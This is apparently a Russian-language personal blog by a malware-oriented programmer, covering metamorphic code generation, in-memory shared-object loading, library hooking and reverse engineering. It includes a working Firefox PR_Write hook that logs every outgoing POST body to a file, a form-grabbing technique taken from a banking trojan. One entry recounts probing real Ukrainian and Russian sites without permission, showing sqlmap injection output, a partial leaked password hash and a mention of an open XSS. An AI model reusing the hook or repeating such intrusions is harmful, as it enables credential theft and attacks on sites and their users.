herm1t LIVE!ng room [entries|archive|friends|userinfo]
herm1t

[ website | twilight corner in the herm1t's cave ]
[ userinfo | ljr userinfo ]
[ archive | journal archive ]

... [Jan. 15th, 2037|03:13 am]
Чтобы не плодить офф в постах, все ???, !!! и @ складываем сюда. (RSS). UPDATE. Так как публичная раздача слонов крайне утомительна, то лучше пишите письма herm1t.vx (gmail)
Link98 comments|Leave a comment

[Mar. 2nd, 2021|09:22 pm]
void expmod(void *y, void *x, size_t xl, void *e, size_t el, void *n, size_t nl)

(BigEndian, based on excelent BearSSL, 3KB, просто так)
LinkLeave a comment

[Mar. 2nd, 2020|10:16 pm]
Мне посыпались комментарии. Больше чем звездное небо внутри нас, и нравственный закон под ногами, меня поражают злорадствующие хуилы в камментах, по наивности пытающиеся меня доебать и привыкшие вылизывать задницу гебне и мусорне. Никак не могу к этому привыкнуть. Брезгливость не позволяет.
Link5 comments|Leave a comment

День второй [Jul. 30th, 2018|08:49 pm]
[Current Mood | tired]

Наконец-то появился повод, что-нибудь написать. Вернулся к старой идее ("Recompiling the metamorphism", 2012). Всё как водится упиралось в лень и нежелание писать полноценный парсер. Лёд тронулся, господа присяжные заседатели. Фронтэнд парсит и сериализует abstract syntax tree, а бэкенд его успешно загружает и превращает в код. Теперь займусь кодогенератором, уберу gas. Байтоёбством давно не занимался, но ассемблирование и линковка - это уж совсем просто. Потом можно начинать развлекаться: constant unfolding, перемешивание top level declarations, криптостроки, издевательства над CFG. И всё это в качестве сайд-эффекта. :-) Сериализация вот в таком вод виде, довольно идиотический, зато простой и не заморочливый:
static void *copy_dict(void *v, void *(*ele)(void*))
{
	Dict *r = NULL;
	if (v == NULL || ((r = hash_get(v)) != NULL))
		return r;
	r = store(v, sizeof(Dict));
	r->map = copy_map(r->map, ele);
	r->key = copy_vector(r->key, copy_string);
	return r;
}

static void *copy_type(void *v)
{
	Type *r = NULL;
	if (v == NULL || ((r = hash_get(v)) != NULL))
		return r;
	r = store(v, sizeof(Type));
	r->ptr = copy_type(r->ptr);
	r->fields = copy_dict(r->fields, copy_type);
	r->rettype = copy_type(r->rettype);
	r->params = copy_vector(r->params, copy_type);
	return r;
}
Link7 comments|Leave a comment

Неэкспортируемые символы [Feb. 12th, 2016|02:01 pm]
[Tags|, , , , , , , , ]
[Current Mood | thoughtful]

Давно и успешно использую следующий метод для поиска неэкспортируемых символов. Дизассемблируем код (linear sweep), линейно, хотя бы для того, чтобы убедиться, что код создан нормальным компилятором и в нем нет антиотладки. Отмечаем начало функций (все, что вызывется через call). Потом трейсим каждую функу рекурсивно и используем эвристики, такие как: использование констант (хорошо, если есть строки), определенный набор внешних функций или даже просто специфическую форму CFG. Странно, но нашел всего одно упоминание этого способа в нужном контексте, да и то без готового инструмента, а просто, как PoC. Так что и антивирусные приколы могут быть полезны, кто бы мог подумать. :-) Неожиданно, массовый софт - предельно стабилен и меняется медленно, так что "сигнатуры" (на control / data flow, не на инструкции) накрывают очень широкий диапазон версий.
Link12 comments|Leave a comment

SO [Feb. 11th, 2016|10:23 pm]
[Tags|, , , , , , ]
[Current Mood |accomplished]

Сделал загрузку shared objects из памяти без временных файлов. И никаких сигнатур. Красивенько.
Link10 comments|Leave a comment

Sucuri Web RAT [Nov. 12th, 2015|01:27 am]
[Tags|, , , , , , ]

Sucuri Integrity Monitor
I found the "monitoring software" installed by ‪#‎AV‬ firm ‪#‎Sucuri‬ (it's available to their subscribers). What I have to say. It just RAT, or web-shell or whatever you want to call it, but its single purpose is to download an unknown code from their servers and execute it. The real name for such a thing is a ‪#‎Trojan‬ ‪#‎Horse‬. That's how I used to call these things. More than that it contains security flaws... You don't just trust them your data (that's not necessary bad), but you let the back door wide open.
Попаля в руки RAT от Sucuri, который они ставят на сайты клиентов, чем эта херь отличается от веб-шелла, хоть убейте не пойму:
curl_setopt($ch, CURLOPT_URL, "https://$MYMONITOR.sucuri.net/imonitor");
...
$my_sucuri_encoding =  base64_decode(
                       substr($my_sucuri_encoding, 7));
eval(
    $my_sucuri_encoding
    );
список сцукурных серверов ) А вот за это (и еще кое за что):
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']
Нужно вырывать ногти. А потом руки. Ж;-]
Link9 comments|Leave a comment

Сграбить потоковое видео [Nov. 4th, 2015|07:03 pm]
[Tags|, , , , , , , , ]

Понадобилось сграбить ролик (не ютюб, ссылок нет, плей-листов нет)
  1. Developer -> Developer Toolbar -> Network
  2. Reload, жмем Play
  3. Ждем пока пойдут кусочки mpeg (.ts файлы на скриншоте
  4. Копируем ссылки, скачиваем
  5. Склеиваем (можно просто cat *.ts > 1.ts)
  6. Перекодируем (чтобы не шаманить с mencoder)
  7. PROFIT
Link18 comments|Leave a comment

Чего только не бывает... :-) [Aug. 21st, 2015|03:02 pm]
[Tags|, , ]

LinkLeave a comment

Hooking PR_Write [Jun. 22nd, 2015|09:54 pm]
[Tags|, , , ]

static int (*old_pr_write)(void *,void *, int);
static int pr_write(void *handle, void *buffer, int length)
{
        if (length > 4 && !strncmp(buffer, "POST", 4)) {
                FILE *f = fopen("/tmp/debug.txt", "a+");
                if (f != NULL) {
                        fprintf(f, "%.*s\n", length, buffer);
                        fclose(f);
                }
        }
        return old_pr_write(handle, buffer, length);
}

void init(void)
{
        void *h = dlopen(NULL, RTLD_LAZY);
        if (h) {
                void *(*mtdfn)(void) = dlsym(h, "PR_GetTCPMethods");
                if (mtdfn) {
                        void **mtd = (void**)mtdfn();
                        old_pr_write = ((int (*)(void*,void*,int))mtd[3]);
                        mtd[3] = pr_write;
                }
        }
}
LinkLeave a comment

[Apr. 16th, 2015|04:54 pm]
[Tags|, ]

Есть немного хешей в base36, и немного соотвествующих им данных (если это вообще хеши). Перебрал несколько вариантов, но не судьба, вдруг кто-нибудь угадает, чтобы это могло быть? хешики )
LinkLeave a comment

Накипело [Mar. 17th, 2015|12:45 am]
Давно хотел сказать, что Eugene Dokukin aka MustLive феерический долбоеб. Извините, накипело.
Link3 comments|Leave a comment

Patchless hook for NSPR!PR_Write [Mar. 14th, 2015|09:58 pm]
[Tags|, , , , , ]
[Current Mood | amused]

С вредной либой придумал вариант, в котором вообще не нужно ничего патчить. Попробую. Все отлично работает. Победная реляция пишется прямо в хакнутом броузере. :-) VirtualProtect / mprotect, memcpy Красиво. Никаких патчей. Рейс исключен в принципе. И этот кодес я пока придержу. ;-P здесь
Link10 comments|Leave a comment

Runtime GOT poisoning from injected shared object [Mar. 13th, 2015|02:36 pm]
[Tags|, , , , , , , , , , ]
[Current Mood | calm]

This short article describes how the combination of the two well-known techniques would allow to intercept library calls in runtime without PIC-code (as in [2]), patching the library functions or searches in the /proc/PID/maps. TL;DR )
LinkLeave a comment

nspr4!PR_Write [Mar. 9th, 2015|03:05 pm]
[Tags|, , , , , , , , ]
[Current Mood | bitchy]

Так как никто ничего дельного не пишет, приходится копаться во всяком УГ, типа Hand of Thief. Оно находит nspr4!PR_Write из проинжектированной либы, и затем затирает пролог jmp (0xe9). Естественно, так как FF хрень многопоточная, то при постоянной перезаписи пролога, креш броузера - это вопрос времени. (У мну пять секунд). Так как, NSPR подгружается динамически, то у PR_Write нет записи в GOT/PLT и PLT Redirection/GOT poisoning работать не будет. Так что нужно либо хватать dlsym до старта, либо внимательнее смотреть на PR_Write, который изначально определен вот так (mozilla/nsprpub/pr/src/io/priometh.c , теперь понятно на чем они сидят ;-): TL;DR )
Link4 comments|Leave a comment

Bacula dirty dumper [Oct. 15th, 2014|04:55 pm]
[Tags|, , , , , , , , , , , ]
[Current Mood | okay]

Я знаю, это ужасно, но мне срочно понадобилось распаковать пару томов бакуловских архивов. Так как bls и bextract вынесли мне мозг нахуй, был написан badump - Bacula Dirty Dumper, которому похуй на все, так же, как и мне. Надеюсь, что кроме меня им никто не воспользуется. :-)
иногда почему-то размер записи превышает размер блока. может он так показывает, что будет продолжение? думаете я пойду копаться в исходниках сторедж демона? а вот хуй!
int ds = roff + DataSize + sizeof(struct record) < eob ?
  DataSize : eob - (roff + sizeof(struct record));
write(last_handle, m + roff + sizeof(struct record), ds);
LinkLeave a comment

C vs asm [Aug. 27th, 2014|03:30 pm]
[Tags|, ]

О, Инди появился и повторяет старые глупости: "It(micode - mutation independent) is impossible to write on C.":-)
Link7 comments|Leave a comment

Детекты мирного софта [Aug. 22nd, 2014|03:57 pm]
[Tags|, ]

Всегда подозревал, что в антивирусных компаниях сидят дебилы. В этот раз отличился Avast, накрыли сигнатурой абсолютно нормальный код. Не сумели привязаться ни к чему, и добавили функу шифрования (в ней запоминающиеся константы).
Link35 comments|Leave a comment

говнохак говносайтов [Aug. 5th, 2014|01:30 pm]
[Tags|, , , , , , , , ]
[Current Mood | bored]

блядь, сбербанк... )
помимо КДПВ, кое-что нашел... ;-)

Кстати, по поводу РБК (27 мая). В начале копался руками, потом сообразил, что ломали дебилы и нужно быть проще. STFG inurl:"id=" site:rbc.ua дал ссылку на file.php, ну и все:

sqlmap identified the following injection points with a total of 51 HTTP(s) requests:

Type: boolean-based blind
Type: error-based
Type: UNION query
...
available databases [28]

(mysql.users) ...localhost,p...,*F22A9DA37E2D88F7176E5B0A4F5C72...,,N,N,N,N,N,,N,N,0,N,N,N,,N,N,N,N,,N,N,0,N,N,0,N,N,N,N,N,N,N,0,N...

Фигни всякой понаходилось: , h1>Hacked AZERBAIJAN Defacers, h1>Hacked AZERBAIJAN Defacers, h1>Hacked AZERBAIJAN Defacers, h1>Hacked AZERBAIJAN Defacers (2009-11-05)

Крысы ходили по серверам, как у себя дома. И на закуску (URI я затер, тут не сервис-центр, бага до сих пор там):
РБК Украина XSS )

Стыдно, господа безопасники и хакеры. И адски скучно.

UPD. Написал в Ощад, Дмытру из РБК я уже давно отписался, но что-то мне подсказывает, что это дело дохлое. Если бы не юзера этой фигни, вылил бы все в паблик. Чтобы не мучаться /me ушел баловаться в зону RU.

Link3 comments|Leave a comment

GCC [Jul. 25th, 2014|02:52 pm]
[Tags|, ]

-B. --no-integrated-cpp давно уже хотел, но только теперь дошли руки. Ж-)
LinkLeave a comment

navigation
[ viewing | most recent entries ]
[ go | earlier ]